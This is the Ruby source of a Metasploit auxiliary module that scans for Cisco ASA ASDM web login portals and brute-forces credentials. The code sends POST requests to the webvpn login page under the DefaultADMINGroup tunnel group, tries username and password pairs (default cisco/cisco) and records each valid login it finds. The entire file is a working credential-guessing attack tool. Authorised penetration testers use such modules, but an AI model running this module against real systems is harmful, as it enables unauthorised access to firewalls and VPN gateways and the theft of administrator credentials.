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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco ASA ASDM Bruteforce Login Utility',
'Description' => %{
This module scans for Cisco ASA ASDM web login portals and
performs login brute force to identify valid credentials.
},
'Author' =>
[
'Jonathan Claudius <jclaudius[at]trustwave.com>',
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'cisco']),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'cisco'])
], self.class)
end
def run_host(ip)
unless check_conn?
print_error("#{peer} - Connection failed, Aborting...")
return
end
unless is_app_asdm?
print_error("#{peer} - Application does not appear to be Cisco ASA ASDM. Module will not continue.")
return
end
print_status("#{peer} - Application appears to be Cisco ASA ASDM. Module will continue.")
print_status("#{peer} - Starting login brute force...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
# Verify whether the connection is working or not
def check_conn?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
})
print_good("#{peer} - Server is responsive...")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
return
end
end
# Verify whether we're working with ASDM or not
def is_app_asdm?
res = send_request_cgi(
{
'uri' => '/+webvpn+/index.html',
'method' => 'GET',
'agent' => 'ASDM/ Java/1.6.0_65'
})
if res &&
res.code == 200 &&
res.get_cookies.include?('webvpn')
return true
else
return false
end
end
# Brute-force the login page
def do_login(user, pass)
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
begin
res = send_request_cgi({
'uri' => '/+webvpn+/index.html',
'method' => 'POST',
'agent' => 'ASDM/ Java/1.6.0_65',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'cookie' => 'webvpnlogin=1; tg=0DefaultADMINGroup',
'vars_post' => {
'username' => user,
'password' => pass,
'tgroup' => 'DefaultADMINGroup'
}
})
if res &&
res.code == 200 &&
res.body.match(/SSL VPN Service/) &&
res.body.match(/Success/) &&
res.body.match(/success/)
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {
:host => rhost,
:port => rport,
:sname => 'Cisco ASA ASDM',
:user => user,
:pass => pass,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{peer} - HTTP Connection Failed, Aborting")
return :abort
end
end
end
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